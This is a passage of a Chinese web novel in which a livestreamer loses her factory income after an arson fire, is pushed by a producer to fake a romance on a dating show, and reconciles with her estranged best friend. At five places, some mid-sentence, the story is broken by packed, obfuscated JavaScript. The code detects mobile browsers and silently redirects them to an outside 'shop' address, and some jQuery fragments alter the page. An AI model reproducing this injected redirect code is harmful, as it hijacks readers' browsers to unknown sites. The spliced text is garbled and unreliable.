正当在场的其他两个人都认为事情不可能存在任何异议时，林穗突然打断了进程。 Mo姐的脸一僵：“行，那你就再考虑考虑吧，后天之前给我答复。” 乘地铁回家的路上，林穗脑海中的思绪一直在相互打架。 顺势而为答应？那就真是板上钉钉地欺骗观众了，她活了二十九年，还没有撒过这么大的谎。 义正词严拒绝？可摸着良心讲，她此前确实已经吃到了cp红利，要是翻脸不认人、高高在上地把自己撇清，岂不是种“又当又立”的双标？ 以往不论什么事，林穗都习惯和菲儿一起商量。可Mo姐今天那句话提醒了她：就算身边的智囊、帮手再多，有些事情终归只能由自己拍板。 她忽而有种灰心的感觉——都说“慈不掌兵，义不掌财”，自己做什么都顾虑良多，难道真的不适合创业这条路吗？ 地铁继续向前行进着，一站又一站，林穗在空荡的车厢里疲惫地等待着终点站的到来。 “工厂着火了，还丢了好多件样衣，速归！”直到收到黎诗然的微信，林穗才一个激灵坐起了身，飞速往工厂赶去。 林穗赶到厂里时，南叔正在配合警方调查。短短一天的工夫，他整个人仿佛苍老了许多，两只眼睛中也全是红血丝。 由于电缆改造，昨天整个园区都停了电，摄像头自然也无法工作，作案者就是抓住了这个机会下手的。 这次事故造成的损失是建厂以来之最，产线上的设备遭到了不同程度的破坏，短时间内无法继续生产；展厅完全被毁，下一批即将量产的样衣被偷；库存也被烧毁了三分之一，导致许多大客户的订单无法如期交付，只能赔款…… 林穗、叶蔓、黎诗然在清点好幸存的样衣之后，开始盘她们电商模块接下来的工作。 “竞争不过就找人搞破坏，真是太无耻了。”平日里温吞吞、没半点儿脾气的叶蔓第一次用如此凶狠的语气说话。 “树大招风，咱们发展太迅速了，肯定有同行眼红。只是没想到做得这么绝。”黎诗然说，“咱们电商部最多就是给客人们道歉退款，toB那边才是真的损失惨重。业务经理已经去跟大客户们协商了，深圳的客户表示理解，愿意把货期再宽限一段时间。日本客户已经跳脚要赔款了。好不容易才把现金流做起来，这下又一夜回到解放前了……” “我们能帮忙做什么呢？”林穗问。 “除了配合警方问询以外，你那边暂时什么都不用做。”黎诗然说，“一来没了展厅和样衣，你没有条件直播。二来咱们现在发不了货，订单再多也白搭。走吧，先去楼下录口供。” “我最近都不用来厂里了，对吗？” “嗯，回去等通知吧，至少也要一个月以后了。” 完全恢复生产需要至少一个月，而就算到了那时，所有的人力物力也必然优先集中在toB业务上，厂里还顾不顾得上淘宝店、需不需要她这个主播都是未知数。 想到这里，林穗心头压上了千斤重——她的一项重要收入来源大概要随着此次的事故彻底地失去了。 不同于工厂的愁云惨雾，林穗家中充满了鲜花、蛋糕、火锅的香气。 “小穗呀，要不是菲菲跟我说，妈妈都不知道你现在的事业做得这么红火啊！快来快来，再跟妈妈讲讲你辞职之后的故事！妈妈到时候要讲给你大姨听。你一个人漂在上海，大姨可担心了……”周女士容光焕发地将林穗迎了进来。 “妈，我今天有点累了……” 看着焕然一新的客厅和精心布置的餐桌，林穗不禁又问：“是在庆祝什么吗？” 菲儿拈着车钥匙从餐桌后“跳”了出来：“庆祝我重新做人。我花了十万块把我爸妈给我买的代步车从他们那边赎回来啦。其实按照市场折旧算，都开了三年了，压根要不了十万。但我就是想让他们看看现在我有钱。小穗你知道吗，看着他们惊讶的样子我真的好开心，这还是我第一次感觉到自己从他们手上夺回了自主权！” “菲菲真是太棒了！”周女士夸赞道。 “哪里哪里，穗穗才棒，我的钱都是她带我赚的。”菲儿笑道，全然没觉察出林穗状态不对。 林穗：“菲儿，你的留学基金……” 菲儿大手一挥：“没事儿，花点就花点，反正你还会带着我再赚回来的嘛！” “就是，千金散尽还复来嘛……”周女士是个从不扫兴的捧哏。 看着她们开心的样子，林穗把到了嘴边的话咽了回去，没提工厂的任何事。 “小穗，还有另一件事——我交辞职信了。我想了很久，既然在那个人浮于事的垃圾国企既不开心也学不到任何东西，为什么不像你一样放手一搏呢？更何况和你一起接一个商单的收入，都顶我在原单位做牛做马小半年了。”菲儿说。 林穗大惊，忙道：“辞职信能撤回吗？” 菲儿摇摇头：“当然不能，都已经在走流程了。” “菲儿，我是说……有没有可能，你去让叔叔找找人，把这个辞职流程先中止一下？”林穗认真道。 “什么意思……？”菲儿脸上的笑容凝固住了，“我好不容易才从那个冷冰冰的家里独立出来，再回头去求他是绝对不可能的。我家的情况你还不了解吗？” 林穗猛然觉得一阵头痛：“我没有别的意思。我累了，先去洗个澡，你们吃吧……” 林穗翻来覆去，一夜未眠。她才二十九岁，便一□□验到了“上有老，下有小”的滋味。 第二天一大早她便跟Mo姐发消息说同意签那份保密协议。 签完约的那天下午，她在街边游游荡荡，就是不肯回家。 走到腿都酸了，就去街边一间便利店里买了两罐鸡尾酒饮料，坐到了店门口的台阶上。 林穗一边喝着，一边拿手机备忘录梳理最近还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687811|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么商务可接。 之前因为忙于工厂的工作、所有时间安排以工厂的事为优先，很多非常合适的品牌方找来都被林穗拒绝了。如今看着整理出来的清单，她正逐一尝试着再度与相关联络人沟通，争取把还有希望合作的商单“舔”回来。 十一月的上海已经比较凉了。时值傍晚，气温骤降，林穗接连打了好几个喷嚏，可还是全神贯注，打算把今天要做的沟通全部完成再回家。 不知何时，面前有一只手递来了一件外套。 “肖老师？”她一抬头，便看到了熟悉的脸庞。 “拿着吧，当心感冒。”肖潜说。 “谢谢……”林穗没再客气，只是觉得披上对方的衣服会有些逾越边界，便将柔软厚实的外套轻轻盖在了膝头。 她拿起一罐没开封的鸡尾酒，问肖潜：“尝尝吗？” 肖潜指了指自己停在路对面的车，林穗便会意。 “要录节目、接商单，还要兼顾工厂的工作，最近一定很辛苦吧？” 林穗伸了个懒腰，苦笑道：“工厂那边出了点问题，已经不做了。” 或许是因为肖潜跟她完全利益无关，林穗在他面前反而能更放心地吐露一些心声。 “也好。可能是老天爷看你最近太忙碌了，担心你身体吃不消，就用这种方式给你放了个假。”肖潜的声音永远温温柔柔的，从来没什么情绪上的大起大落，有种莫名让人安心的磁场。 “你做心理咨询师的时候，一定是整间机构来访者最多的那一个吧。” 肖潜笑笑：“如果你需要心理咨询师肖潜超过需要朋友肖潜，我可以随时随地变回去，接受你的来访。” 林穗把剩下那罐鸡尾酒饮料打开，仰着脖子喝了小半瓶，浅笑道：“还不至于。找自己朋友做心理咨询，总感觉哪里怪怪的……” 林穗的手机响了起来，打断了他们的对话——是之前工厂产线上的小姐妹打来的。 “小穗啊，微博上都说你和节目里的宋洋已经在一起了，真的假的？”打电话的姐妹像是在一场酒局上，她自己业已喝醉，背景音里也尽是起哄的笑声。 工厂出事之后遣散了几十名外包员工，其中就有这个姑娘。想必是回老家之前姐姐妹妹聚在一起吃散伙饭，席间谈论起了这个话题，故而向林穗这个当事人求证。 “继续看节目就知道啦，我们不能泄密的。”林穗采用了委婉的方式表达。 “哎呀跟我们还打什么太极？！我数五个数，你不否认就是承认喽！” “五、四、三、二、一……” “哈哈哈哈，他们果真在一起了！恭喜啊小穗，那个宋大少爷家里可殷实了！跟着他准能享福……” “小凡姐，注意身体，别喝到太晚。我还有事情，先挂啦。”林穗温柔道。 林穗刚放下电话，就看见肖潜用一双弯弯的笑眼看向自己：“录节目辛苦了，线下还得配合。” 20. Chapter 20 “没有，是真的。”她闷声道，低头避开了他的目光。 “好吧，是真的。”肖潜笑笑。 就着路灯和月色，他们又有一搭没一搭聊了一阵子。当林穗喝完易拉罐里最后一滴酒，她便向肖潜道了别，独自回家去了。 菲儿还是没有回来，只留下话给周女士说自己最近有点累，打算去千岛湖散几天心。 林穗知道，她这回是真的生气了。 在菲儿不回消息的日子里，一切只能由林穗自己来，她也总算切实体会到做自己的经纪人兼化妆师究竟有多累—— 譬如联络商务，这是个沟通量极其巨大的工作，每天打的字、通的电话堪比一个客服； 再比如化妆，还真的只有菲儿能画出最适合林穗的眉毛，林穗本人、周女士和《恋爱法则》的造型师轮番上阵，就是无法复原那种味道。 而此前的菲儿不仅万无一失地完成了这些事，还兼顾了她在国企那份本职工作，简直堪称超人。 《都市男女的恋爱法则》照常拍摄着。只是这天一到现场，林穗便得知温小雪被节目组下车了，原因是她被爆出有男友，还被拍到了节目播出期间和男友同去密室逃脱后一起回家。 网络上瞬间舆论哗然，不少追节目的观众都对《恋爱法则》怒而转黑： “这？？？把观众当傻子？？？知道综艺是剧本，可好歹选一个靠谱点的演员啊。让有男朋友的网红来参加恋综，节目组完全不做背调的吗？” “绝了，从来没有这么恶心过。昨天刚说她和路乔有点好嗑，有那么一丝狼兔cp的感觉，今天就扒出来有男朋友……这网红的演技比专业演员都好，脸皮也够厚。” “怎么办，我一下子对这个节目里所有cp都信任危机了。前阵子嗑‘厂弟厂妹’可上头了，在B站疯狂刷他们的剪辑。但现在总会忍不住联想他俩是不是也各自有男女朋友，来这儿只是演戏赚钱。” “很可能啊，楼上的家人。‘厂弟’只是宋少爷的外号，人家真实的身家一般人高攀不起。但‘厂妹’是真‘厂妹’，连个稳定工作都没有，只是长得好看而已。现实中宋少爷能看上她的概率微乎其微，除非只是玩玩。所以别太zqsg了，最终伤的都是自己。” “不是，‘厂弟厂妹’还真有人认真啊？我还以为都是像我这样的乐子人嗑个热闹呢。这俩人的客观条件太悬殊了，就算宋少爷自己愿意，他的家庭也是绝不可能同意的。剧本痕迹最重的就是他俩，当偶像剧看看得了，别当真。” “弃了弃了，没把观众当人的节目没必要再追。不如去看‘爆米花视频’的《心动四十八小时》，至少人家那边背调从来没出现过问题。” 这些回踩的声音中，不乏竞争对手平台下水军带的节奏。 眼看着自家节目的数据越来越难看，竞争对手家的《心动四十八小时》美美承接了这波流量红利，Mo姐坐不住了，决定再次找林穗和宋洋谈谈。 “嘉宾中途下车，这还是节目开播四季以来的头一回，让你们见笑了。”Mo姐说。 “没关系的Mo姐，这只是个小插曲，咱们节目不论是构思还是制作都吊打同类型其他节目，不用担心的。”宋洋说。 宋洋这通恭维说进了Mo姐心里去，她紧紧皱着的眉头肉眼可见地有所舒展。 “我对节目的质量确实有十足十的信心，但眼下部分观众对嘉宾们产生了信任危机也是事实。你们两个作为本季最大的看点，是我们扭转颓势的关键。”Mo姐说。 “那需要我们怎么配合呢？”宋洋问道。 “需要做得再逼真一点。”Mo姐说，“当然了，还是老规矩。小洋，今天拍摄结束后请你们家商务经理来和我们招商组负责人谈一下吧，我可以帮你们向领导争取一个特别冠名权。小林，你的片酬会再加一万块。” “谢谢Mo姐帮忙接洽！”宋洋忙半起身和Mo姐握手，“那咱们商量一下接下来的‘打法’吧。” “总导演想要拍摄一期‘见家长’，所以可能还要麻烦令尊出镜……” “带小穗见我的家长吗？” “没错。” “没问题，我一定全力配合。” 宋洋和Mo姐火热地讨论着，一旁的林穗却陷入了沉思。 在这个商业社会中，一个人的身家几乎决定了ta在所有场合下所受到的待遇。譬如今天，Mo姐在有事相商之时，支付给宋洋的“对价”是一次为他家族品牌量身打造的商务机会，是能撬动上千万经济利益的“特别冠名权”；而面对手下并无任何产业的自己，则是轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721346|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘飘的一万元酬劳便打发了。 甚至网友们在质疑“厂弟厂妹”cp时，也都是自然而然代入了宋洋的立场，他们从各种角度分析、猜测着宋洋和他的家庭看不看得上林穗，却完全不曾有人讨论过林穗有没有可能不喜欢对方。好像全世界都默认了更有财富的那个人就是手握所有主动权的那个，是唯一被允许做选择的那个。 林穗心里种下了一颗种子——一颗渴望着拥有自己财富和产业的种子。它像是被施以了名为“世俗”二字的肥料，在这几天所见所闻的轰炸之下势如破竹地生长着，旺盛到野蛮。 从Mo姐那边“散会”后，宋洋主动提议用自家的车送林穗一程，林穗知道他是有话要说，便答应了。 “小穗，你最近特别累吧，我看你吃饭时候都睡着了。” “嗯，今天是有点。” 其实何止是今天呢？这段时间她一直白天对接商务、晚上录视频拍照片打理账号、夜里加班加点学习剪辑和化妆，每天只睡四五个小时，精力都快要透支了。 她对菲儿愈发地愧疚，也愈发地想念。 “你小红书上的公告我看了。就是因为停止了和工厂的合作，你才这么着急去找新的资源，对吗？”宋洋道。 “宋少爷是要帮我介绍资源吗？”林穗无奈笑道。 宋洋佯作生气模样：“喂，我要生气了！别人恶搞叫我‘宋少爷’就算了，你怎么也这么叫……” “好，我道歉，小宋同学。” “原谅你。说正事，我和我爸说过你上次在苏州带我量步数的事，因为那个，他挺欣赏你的。所以咱们三个的饭局上你可以好好表现，我再在他耳边吹吹风，争取让他在‘如婳’和‘芮今’里选一个交给你宣传。”宋洋条分缕析道。 “如婳和芮今？你是认真的吗？”林穗委实为他的构想所震惊。上次与玖美的合作已经是想都不敢想的“天降横财”了，“如婳”和“芮今”是两个比玖美定位更高端的品牌。为了保持格调，除了请明星做形象大使、品牌挚友外，它们什么影视广告植入、软文宣传都没做过，找网红合作更是绝无可能。 宋洋的眼神却很坚定：“你听我说，事在人为。以我目前的能力，暂时没法帮你找到供应链资源，但是商务资源方面我会尽我所能的。” 21. Chapter 21 失去了工厂这个供应链根基，很多事情都变成了无源之水、无本之木。 对于一个尚处在“成长初期阶段”的博主来说，没有自己稳定的货源、纯靠接天南海北各路甲方的商务推广过活，无疑是饮鸩止渴。 迄今为止，林穗已经流失了不少工厂直播期间积累下的“老粉”了。 而更糟糕的是，除了玖美这种优质甲方外，林穗最近服务过的其他甲方大多都有“拖欠尾款”的恶习，导致她视频发布了不少，钱却没收到几笔。 只出不进的日子持续了半个月之久，经济压力也如同一片乌云笼罩在她的心头，随着时间的流逝越堆积越大。 她一直在努力寻找着其他能合作的工厂，然而挑选生意伙伴毕竟是件需要审慎对待的事，一时半会儿也无法有定论，所以只能一边赚取生活费，一边下功夫搜寻、甄别了。 纵使觉得宋洋的提议天马行空，林穗也还是决定放手一搏去试试。毕竟他家的品牌预算都很充足，也几乎没有账期，足以解近渴。 录制“见家长特辑”的那天，林穗第一次见到了宋洋的父亲宋峰。 宋峰打扮得低调、简约却有品位，看上去比同龄人年轻许多。不同于财经节目上冷着脸与经济专家辩论时的模样，私底下的他是个很随和的人，无论对谁都没有半点架子。 “你就是小林吧，洋洋跟我和他妈妈说起过你，谢谢你在节目上对他的照顾。”宋峰主动走上前来打招呼，十分亲切地对林穗笑笑：“洋洋妈妈特别喜欢你拍的那一期玖美的视频，一个劲儿地夸你们年轻人审美好，创意也好。” “宋叔叔好，谢谢您和阿姨的喜欢。主要还是因为玖美和小小姐的鞋子设计得完美，给好看的鞋子拍视频完全是种享受。”林穗微笑着回应道。 “爸，怎么样，我说得没错吧？小穗她是不是又瘦又高？”宋洋今天很兴奋，像一只人来疯的萨摩耶，摇着开心的大尾巴满场乱窜。 宋峰拍了拍儿子的肩头，一脸慈爱地对宋洋笑道：“是啊，小林要是穿上咱们家的高跟鞋，比你都高一头呢。” “那当然了，要不我怎么找她当模特呢？”宋洋一脸骄傲。 这集的拍摄地是宋洋家投资的酒店，为此，酒店经理特别预留出了最大的景观位包厢。 当节目组工作人员们还在大厅里忙活着架机器、调灯光时，宋洋一手便挽起父亲，径直往包厢里走，还用眼神示意林穗跟上。 “爸，我听晓燕姐说芮今今年的销售目标还没达成啊……”宋洋有意将话题往自己计划的方向引。 宋峰捏了捏他的脸，像对待一个小孩子：“最近工作兴致这么高涨啊？先去你周阿姨那边管了管玖美的事，现在又找上晓燕了。你自己的品牌管理得如何呀？” “‘小小姐’很好啊，我们提前了将近一个季度完成了本年目标哎！”宋洋撇撇嘴。 “好好好，我儿子做得好，洋仔最有天赋了。”宋峰笑道，“对了，你去把吴叔叔给我带的那瓶酒取上来吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725625|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我打个电话让人拿过来。”宋洋刚掏出手机，就被父亲制止了。 “乖洋仔，你自己去拿。” “为什么啊？”见无法把方才的话题继续下去，宋洋一脸不悦。 “因为老爸很爱那瓶酒嘛，交给除你之外的人我不放心啊。”宋峰说。 “好吧，那我去一下，马上就回来……”他知道父亲是故意支开自己的，所以离开之时一步三回头。 宋洋走后，包厢里便只剩下林穗和宋峰。 “林小姐……”宋峰看了林穗一眼。 不知为何，在方才的一系列对话中林穗都未曾感受到任何压力，可就是这陡然一瞥，令她下意识紧张起来。 “您请讲，宋总。”林穗识趣地变换了称谓。 “坦白讲，我和他妈妈都很喜欢你。外界总有些声音，说我们会很挑剔儿子伴侣的出身、家庭和赚钱能力，实际上这些完全不重要。我们唯一在意的，是有人能让这孩子定下心。”宋峰说。 “宋总，您误会了，节目只是节目，我和宋洋只是朋友，不是恋人关系也没有相互喜欢。” “知子莫若父，他的心思我最清楚。”宋峰好像并没有将林穗话中的“相互”二字放在心上，只是继续顺着自己的思路道：“这孩子想为你争取的东西我是知道的。不过‘芮今’这个品牌定位特殊，不可能破例与网红合作。但我可以为你在芮今的市场部提供一个工作机会，等这份工作稳定后，我们再和你父母商量你们俩下一步的事……” 22. Chapter 22 网络上对林穗出身条件的各种贬低声瞬间被打了脸——原来他们口中“一般人高攀不起”的富贵之家压根不在乎她口袋里有多少钱。 然而，她该高兴吗？ 林穗只感到自己嘴边被递上了一块裹着细细密密软刺的鱼肉。闻起来是鲜香的，但若吞下去，只有满喉头的刺。 她很清楚，眼前这位慈眉善目的长辈对她做出的提议不是种给予，而是种掠夺——像是觉得家里单调，便从路边“掠夺”走一丛花拿回去作装饰；像是见到孩子无聊，便从草丛中“掠夺”走一只猫与他作伴。当然了，为了确保这只猫肯跟自己走，也会先投喂几枚香肠和鱼干作为铺陈。 “给予”是双向奔赴的，而“掠夺”则无需在意被掠夺者的意见，就像宋峰从未开口问过林穗一句她到底喜不喜欢宋洋。 “对不起，我不能接……” 林穗正要拒绝，却被破门而入的宋洋从中打断。 他一直站在门口，未曾离开过，可此时的状态却像是刚跑完一场战况激烈的八百米比赛。 见到儿子，宋峰一扫方才令人感到密不透风的压迫感，又恢复了平静和蔼的笑容：“洋仔，这么快就回来啦？” “不是……”宋洋看看林穗，又看看父亲，极力按捺着剧烈的喘息：“我是忘记那瓶酒长什么样子了，来……来确认一下……” 此后的一整天里，宋洋似乎都在有意躲避着林穗。拍摄时他的目光闪躲，几乎不和林穗产生任何眼神交流，话也没有以往那么多了；拍摄结束后，林穗刚要找他，他便声称有急事，转身上了自家司机的车。 宋洋好像知道林穗要对自己说什么，索性以逃避和拖延的方式不给她这个机会。 不得不说，Mo姐果真是深谙舆情发酵规律的老江湖——由她亲自操刀后期剪辑的这集节目播出后，网友们反而从这场各怀心思的饭局中阴差阳错地品出了这对cp的“真”。 “怎么感觉他俩这一期的氛围怪怪的，宋少爷一脸强颜欢笑的阴郁相，只有女四和他爸爸在谈笑风生。” “像是小情侣闹别扭了。该不会是因为上期厂妹和Jasper喝了酒吧？吃醋但是还要带你见家长，他超爱……再一次诡异地嗑到了。” “以前老觉得他俩有点人工糖精，相处得过于融洽顺畅了，怀疑都是剧本。这一期反倒有了点活人感。小情侣怎么可能完全不闹别扭呢？越别扭越真。” “感觉宋少爷他爸爸也挺喜欢厂妹的，厂妹真的要成功嫁入豪门了吗？好家伙，有点励志，上个恋综直接实现阶级跨越了。美貌对人生还是有用的啊……” 网友们不仅玩梗，甚至还有人在lofter上创作起了同人文学。 林穗流失的粉丝量也因这波新热度被彻底地弥补上了，她现在的关注者已经突破了五十万。 然而只有她自己知道，这些都不是她想要的。 她最初想要的只是吸引更多的关注者，从而卖出去更多件衣服而已；她最有成就感的时刻也并非是谈商务报价时，而是帮网店卖出一件又一件衣服时，为姑娘们解答服装方面的专业问题时，看到姑娘们满心欢喜晒出的买家秀时。 她无比怀念在工厂的日子——怀念与产线上的姐姐们讨论面料质量，怀念向研发科的师傅们学习缝纫术语，甚至怀念起了在展厅里和黎诗然就宣传照的构图问题争得你来我往，面红耳赤…… 那些才是她的初心。 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729420|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女士要回老家了，因为她们小组目前的业务形势一片向好，领导喊她回去给银行网点的人做培训。 临走前，她嘱咐林穗道：“菲儿是个好孩子，对你也一直是一片真心。不管你们之间有什么误会，妈妈都希望你可以主动去解开。等你到了我这个岁数，就会知道有一个知心的好朋友比几百万、几千万的存款都难得。” 周女士离开上海后，林穗感受到一股不可名状的寂寞。 曾几何时这房间里还热闹无比，三个女人每人一罐啤酒、一份自热火锅，连空气都是暖烘烘的。她们坐在茶几前的地毯上，看着电视聊着八卦，说说笑笑直到午夜十二点还意犹未尽。而现在，空荡的客厅里只剩下她一人。 她原本也是这样独自生活的，但享受过人间的温情与热闹后再重新回到茕茕孑立的孤单里无疑是种酷刑。 林穗怅然，便从楼下拎了一提啤酒上来，自斟自饮。 手机一直在震动，都是来关心她和宋洋八卦的。她无心理会，便开了飞行模式，还自己一个清静。 有心事的人很容易就微醺了。不知何时，她倚在沙发上睡着了。半梦半醒之间，她好像听到了菲儿的声音…… “开门呀！快开门！太过分了吧，怎么我一走你就换门锁密码……？” 直到凌晨三点的敲门声不懈地持续了十几分钟，林穗方才彻底醒过神来，发现这一切都不是梦。 她打开大门，门外站着的是同样喝得醉醺醺的菲儿，以及她身后塞满了四个加大号纸箱和两个二十八寸行李箱的全部家当。 “你可不许再赶我走了啊。我这下什么都没了，只有你了……”她醉得比林穗严重得多，脸上的妆花得像刚被人泼了一盆水。 23. Chapter 23 菲儿次日清早八点多就醒了。 空气中弥漫着淡淡的面包和咖啡香，令人无比心安。 起来转悠了一圈，她发现林穗已经帮她把所有东西都归置好了——衣柜里有她昨晚刚带来的衣服，鞋柜里有她的鞋；梳妆台前，她的香水也按颜色和瓶身的大小排列得整整齐齐…… 菲儿突然觉得比起她那个要么沉默如监狱、要么一家三口相互掀桌子火拼的位于高档小区里的“家”，这套住着她最好朋友的老破小才更有家的感觉。 “早饭好了，来吃点东西吧……”林穗见她醒了，便把摆好盘的早餐端了出来，又递给菲儿一杯温水，说：“先喝杯温水再喝咖啡吧，不然肠胃会不舒服的。” 菲儿接过温水，咕咚咕咚喝了下去。她对林穗的气还没消，于是瓮声瓮气问道：“你都不问我这段时间发生了什么吗？” “边吃边说吧……”林穗把刀叉递给了她。 许菲儿是个老牌养生专家，非常重视早餐的品质。没辞职之前，纵使单位食堂便宜管饱，她也从未光顾过一次，都是早晨七点半不到就出门，然后找自己喜欢的店坐下来慢慢吃。 后来搬来与林穗同住，林穗本不怎么吃早餐，只是偶尔醒得比她还早，就一边听服装行业的同行直播一边给她做。久而久之，菲儿也不爱去外面吃了，反倒爱上了林穗这一口。 “我和狗哥分手的事他们知道了。我妈把衣柜里的衣服都扔出来让我滚，还让我把他们打点关系花的五十万赔给他们。”叙述这些的时候菲儿一脸平静，认真用刀叉将盘中果蔬沙拉里的苹果逐一切成小块，仿佛这才是她现在最需要关心的事。 “怎么回事？他们是怎么知道的？”林穗一惊，心疼地看着菲儿。 “我自己说的。他们迟早都是要知道的，早说晚说没有什么本质上的差别。”菲儿说。 狗哥、菲儿和林穗本科时都在同一所大学，菲儿和林穗在本部，他在医学院。因为姓“苟”，朋友们就总是喜欢叫他“狗哥”。 不同于菲儿口中“阳光开朗体育生”的理想型标准，狗哥是个白白瘦瘦、个子不高、性格文静的男生。他来自一座边陲小镇，家境非常普通，本人却从小到大都是学霸。 菲儿大一时和他在一起，今年年初分开。两人分得很体面，到现在都还是朋友。 唯一不能接受这件事的只有菲儿的父母，因为他们早就把狗哥当成自家女婿来培养了——狗哥考研时，菲儿父亲找了自己的同学给他做导师；狗哥毕业实习，也是菲儿的副院长父亲给他安排到了自己就职的医院；甚至狗哥的母亲患病，菲儿父母也赞助了治疗费用的大头……而他们要求菲儿赔偿的那五十万，也是花在了帮狗哥安排工作上。 “都以为知识分子家庭的独生女就不会受‘重男轻女’思想的害，这简直是天大的误会。我想出国留学，他们就对我出言嘲讽、拳脚相加，一心想把我按在这个给人打杂的闲职上待一辈子。狗哥不想读博，只想早点工作赚钱，我爸却一直撺掇他，帮他联系博士生导师；我妈还跟他说我俩结婚后房子加他的名字，车子也全款给他买，让他不要为钱的事情担心，专心提升自我就行……小穗你说说看，如果我是个儿子，他们还会用同样的待遇对待我和我的伴侣吗？” 菲儿只是表面上风平浪静，内心深处的波涛却早已翻涌成万丈巨浪。 她面无表情往嘴里塞完了一整份早餐，又从吐司袋里拿出了两片面包，用刀背给它们抹起了黄油。 林穗端走了盘子，也拿走了她手上的面包和餐刀，制止了她即将爆发的情绪性进食。 “那五十万就算要还也应该让苟浩宇还，不该让你来还。”林穗平日里最不喜欢评论别人的家事，可听了这些话，她还是忍不住愤然道。 菲儿苦笑道：“我小姨平时思想最开明，和我聊得也多。我原本以为她来我家可以帮我说几句话，谁知道她和我大姨一人一句说了一晚上，都在怪我辜负父母的良苦用心，没有把狗哥这个合适的结婚对象抓牢……太好笑了，我们俩之中不想结婚的那个人始终都是我，好不好？” 林穗总算明白了，原来菲儿辞职的最主要原因并不是想把希望寄托在和自己一起赚钱上，而是她太想逃离父母的桎梏了。 林穗总是用“笼鸡有食汤锅近，野鹤无粮天地宽”来自我激励，菲儿这样的举动，难道不也是想撞开镀金的笼子门、尝试着去做一只翱翔在天空中的鹤吗？ “菲儿，你是一个特别特别优秀的人，所以哪怕离开了父母为你安排的一切，你也绝对能凭自己的能力得到想要的任何东西……” 听林穗这么鼓励自己，菲儿一下就哭了出来。 “怕什么，咱们又不是没有一起赚到过钱。只是……”林穗一边安慰菲儿，一边道：“只是我觉得自己以前亏欠你太多，你得到的远远赶不上你付出的。所以咱们去注册一个工作室吧，以后工作室入账的任何一笔收入都有你的一半。” 菲儿哭得更大声了…… 两个人毕竟还是挂念着彼此的，因而话一说开就立即和好如初了。 林穗向她说起了工厂的事，交代了自己对未来发展的担心从何而来。菲儿表示她也太不讲义气了，出了事情怎么能自己扛？应该拉好姐妹兼合伙人一起分担才是。 “所以你最近一直在找新的供应链资源？”菲儿问道。 虽说还是大白天，两人却又一人一罐饮料坐到了地毯上。菲儿搂着一只熊，林穗抱着一只鳄鱼，她们都以自己最舒服的方式靠在沙发边缘。 “对。不过不知道是不是先入为主的原因，我总觉得后来接触的这些工厂都不如南叔他们。”林穗感慨。 “哎？”菲儿一个激灵坐了起来，“你就没想过调整赛道去做鞋子？上次玖美的成功案例在先，而且你还可以近水楼台，看看宋少爷能不能帮忙给点资源……” 林穗一脸为难地摇了摇头：“不成……一来我之前积累的所有专业知识都在服装领域，对鞋子并不专业。二来，宋洋……” “宋洋怎么了？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733515|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不应该挺乐意帮忙的吗？” “是没错，但……” “但什么？小穗，你可不像是为了赚钱还瞻前顾后迈不开腿的人啊……”菲儿不解。 林穗迟疑良久，才吞吞吐吐道：“首先，菲儿，我们并没有在一起，只是为了拍摄……” “我知道啊，那家伙一看就不是你喜欢的类型。就算是我干妈都相信你俩真的是一对儿，我也不至于相信。”菲儿笑道。 